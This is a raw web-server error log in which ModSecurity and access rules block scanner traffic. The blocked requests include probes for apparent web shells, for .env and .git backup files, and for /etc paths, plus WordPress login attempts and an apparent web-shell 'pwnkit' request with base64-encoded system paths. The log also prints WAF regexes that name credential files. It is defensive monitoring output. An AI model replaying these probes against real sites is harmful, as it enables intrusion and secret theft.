https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:10:15.546859 2026] [access_compat:error] [pid 531155:tid 531280] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:10:15.559233 2026] [security2:error] [pid 531155:tid 531330] [client 191.234.188.123:20680] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/yas.php"] [unique_id "ai3xZymiP80klyS0Nnr2RQAAATc"] [Sat Jun 13 18:10:15.560368 2026] [security2:error] [pid 531155:tid 531352] [client 20.151.217.54:24004] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/dragonshell.php"] [unique_id "ai3xZymiP80klyS0Nnr2RgAAAU0"] [Sat Jun 13 18:10:15.612825 2026] [security2:error] [pid 531155:tid 531163] [remote 17.246.23.6:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 6.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xZymiP80klyS0Nnr2SQABhQc"] [Sat Jun 13 18:10:15.742045 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.78:26894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:15.742305 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.78:26894] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:15.758425 2026] [access_compat:error] [pid 531797:tid 531968] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3J1bg== [Sat Jun 13 18:10:15.758743 2026] [access_compat:error] [pid 531797:tid 531968] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3J1bg== [Sat Jun 13 18:10:15.779331 2026] [security2:error] [pid 531155:tid 531193] [remote 80.82.115.208:56858] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.115.82.80.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "reginagamblescott.com"] [uri "/wp-login.php"] [unique_id "ai3xZymiP80klyS0Nnr2SwABMiU"] [Sat Jun 13 18:10:15.797693 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.62:57314] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:15.797957 2026] [access_compat:error] [pid 531797:tid 531930] [remote 57.141.14.62:57314] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:15.800370 2026] [security2:error] [pid 531155:tid 531178] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/opt/.env"] [unique_id "ai3xZymiP80klyS0Nnr2TAABJxY"] [Sat Jun 13 18:10:15.936677 2026] [security2:error] [pid 531155:tid 531261] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(wp-)?config\\\\.(php\\\\.)?(?:bac?k|o(?:ld|rig)|copy|s(?:ave|wp)|vim?\\\\.|~)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1254"] [id "390597"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup config file (disable this rule if you require access to these backup files)"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/.git/config.bak"] [unique_id "ai3xZymiP80klyS0Nnr2TwABImk"] [Sat Jun 13 18:10:16.011319 2026] [security2:error] [pid 531797:tid 532124] [client 20.151.217.54:24053] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/samll.php"] [unique_id "ai3xaMTA7b1mZrmcA-8isgAAAo8"] [Sat Jun 13 18:10:16.013323 2026] [security2:error] [pid 531155:tid 531319] [client 191.234.188.123:64606] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wp-su.php"] [unique_id "ai3xaCmiP80klyS0Nnr2UgAAASw"] [Sat Jun 13 18:10:16.056842 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2lk [Sat Jun 13 18:10:16.057106 2026] [access_compat:error] [pid 531155:tid 531194] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2lk [Sat Jun 13 18:10:16.061093 2026] [security2:error] [pid 531155:tid 531201] [remote 17.22.245.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xaCmiP80klyS0Nnr2VAABdi0"] [Sat Jun 13 18:10:16.064610 2026] [security2:error] [pid 531797:tid 531997] [client 20.151.217.54:40201] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/Cap.php"] [unique_id "ai3xaMTA7b1mZrmcA-8iswAAAhU"] [Sat Jun 13 18:10:16.073224 2026] [security2:error] [pid 531155:tid 531170] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(wp-)?config\\\\.(php\\\\.)?(?:bac?k|o(?:ld|rig)|copy|s(?:ave|wp)|vim?\\\\.|~)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1254"] [id "390597"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup config file (disable this rule if you require access to these backup files)"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/.git/config.old"] [unique_id "ai3xaCmiP80klyS0Nnr2VQABMQ4"] [Sat Jun 13 18:10:16.085110 2026] [security2:error] [pid 531797:tid 532053] [client 45.61.188.26:50609] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.188.61.45.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hannahjune.com"] [uri "/wp-login.php"] [unique_id "ai3xaMTA7b1mZrmcA-8itAAAAks"] [Sat Jun 13 18:10:16.209812 2026] [security2:error] [pid 531155:tid 531371] [client 172.171.3.232:53687] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/atomlib.php"] [unique_id "ai3xaCmiP80klyS0Nnr2WgAAAWA"] [Sat Jun 13 18:10:16.287778 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yw== [Sat Jun 13 18:10:16.287928 2026] [access_compat:error] [pid 531797:tid 531905] [remote 57.141.14.47:55260] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:16.288146 2026] [access_compat:error] [pid 531797:tid 531978] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yw== [Sat Jun 13 18:10:16.288322 2026] [access_compat:error] [pid 531797:tid 531905] [remote 57.141.14.47:55260] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:16.327998 2026] [security2:error] [pid 531155:tid 531311] [client 20.151.217.54:23946] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/Cap.php"] [unique_id "ai3xaCmiP80klyS0Nnr2XAAAASQ"] [Sat Jun 13 18:10:16.433774 2026] [security2:error] [pid 531797:tid 531946] [remote 17.241.227.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xaMTA7b1mZrmcA-8iuwACXlI"] [Sat Jun 13 18:10:16.471439 2026] [security2:error] [pid 531797:tid 532126] [client 172.171.3.232:35630] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/zo.php/itil.php"] [unique_id "ai3xaMTA7b1mZrmcA-8ivQAAApE"] [Sat Jun 13 18:10:16.574677 2026] [security2:error] [pid 531797:tid 532082] [client 20.151.217.54:9430] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3xaMTA7b1mZrmcA-8iwgAAAmg"] [Sat Jun 13 18:10:16.583901 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.96:24119] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:16.584308 2026] [access_compat:error] [pid 531797:tid 531921] [remote 57.141.14.96:24119] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:16.628803 2026] [access_compat:error] [pid 531797:tid 531933] [remote 216.73.216.182:62278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:16.629247 2026] [access_compat:error] [pid 531797:tid 531933] [remote 216.73.216.182:62278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:16.635663 2026] [security2:error] [pid 531155:tid 531248] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/.env"] [unique_id "ai3xaCmiP80klyS0Nnr2YAABYlw"] [Sat Jun 13 18:10:16.653630 2026] [security2:error] [pid 531797:tid 532059] [client 20.151.217.54:23959] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/spire.php"] [unique_id "ai3xaMTA7b1mZrmcA-8ixQAAAlE"] [Sat Jun 13 18:10:16.654810 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:10:16.655250 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50Ni9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9wb3dlcg== [Sat Jun 13 18:10:16.806312 2026] [access_compat:error] [pid 531797:tid 531932] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yw== [Sat Jun 13 18:10:16.806585 2026] [access_compat:error] [pid 531797:tid 531932] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yw== [Sat Jun 13 18:10:16.847911 2026] [security2:error] [pid 531797:tid 531929] [remote 47.128.123.167:13770] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.buy-ketotifen.com"] [uri "/category/blog/"] [unique_id "ai3xaMTA7b1mZrmcA-8iygACJ0E"] [Sat Jun 13 18:10:16.928671 2026] [security2:error] [pid 531797:tid 532074] [client 20.151.217.54:24030] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/auto.php"] [unique_id "ai3xaMTA7b1mZrmcA-8iywAAAmA"] [Sat Jun 13 18:10:16.953707 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.69:61332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:16.954157 2026] [access_compat:error] [pid 531797:tid 531963] [remote 57.141.14.69:61332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:17.003806 2026] [security2:error] [pid 531797:tid 531881] [remote 17.22.245.167:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 167.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xacTA7b1mZrmcA-8izwACLxE"] [Sat Jun 13 18:10:17.108898 2026] [access_compat:error] [pid 531155:tid 531258] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:17.109324 2026] [access_compat:error] [pid 531155:tid 531258] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:17.236251 2026] [security2:error] [pid 531155:tid 531317] [client 172.171.3.232:14069] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/loxico93.php"] [unique_id "ai3xaSmiP80klyS0Nnr2bAAAASo"] [Sat Jun 13 18:10:17.303925 2026] [security2:error] [pid 531797:tid 532087] [client 20.151.217.54:64072] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/twinklingly.php"] [unique_id "ai3xacTA7b1mZrmcA-8i1gAAAm0"] [Sat Jun 13 18:10:17.320936 2026] [security2:error] [pid 531155:tid 531210] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/backend/.env"] [unique_id "ai3xaSmiP80klyS0Nnr2bgABUDY"] [Sat Jun 13 18:10:17.329444 2026] [access_compat:error] [pid 531797:tid 531889] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9ldGMvcG0vcG93ZXIuZA== [Sat Jun 13 18:10:17.329914 2026] [access_compat:error] [pid 531797:tid 531889] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9ldGMvcG0vcG93ZXIuZA== [Sat Jun 13 18:10:17.445387 2026] [access_compat:error] [pid 531797:tid 531902] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly9ldGMvcG0vcG93ZXIuZA== [Sat Jun 13 18:10:17.445840 2026] [access_compat:error] [pid 531797:tid 531902] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly9ldGMvcG0vcG93ZXIuZA== [Sat Jun 13 18:10:17.482993 2026] [security2:error] [pid 531155:tid 531328] [client 20.151.217.54:23965] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/12.php"] [unique_id "ai3xaSmiP80klyS0Nnr2dgAAATU"] [Sat Jun 13 18:10:17.504290 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.59:60433] AH01797: client denied by server configuration: 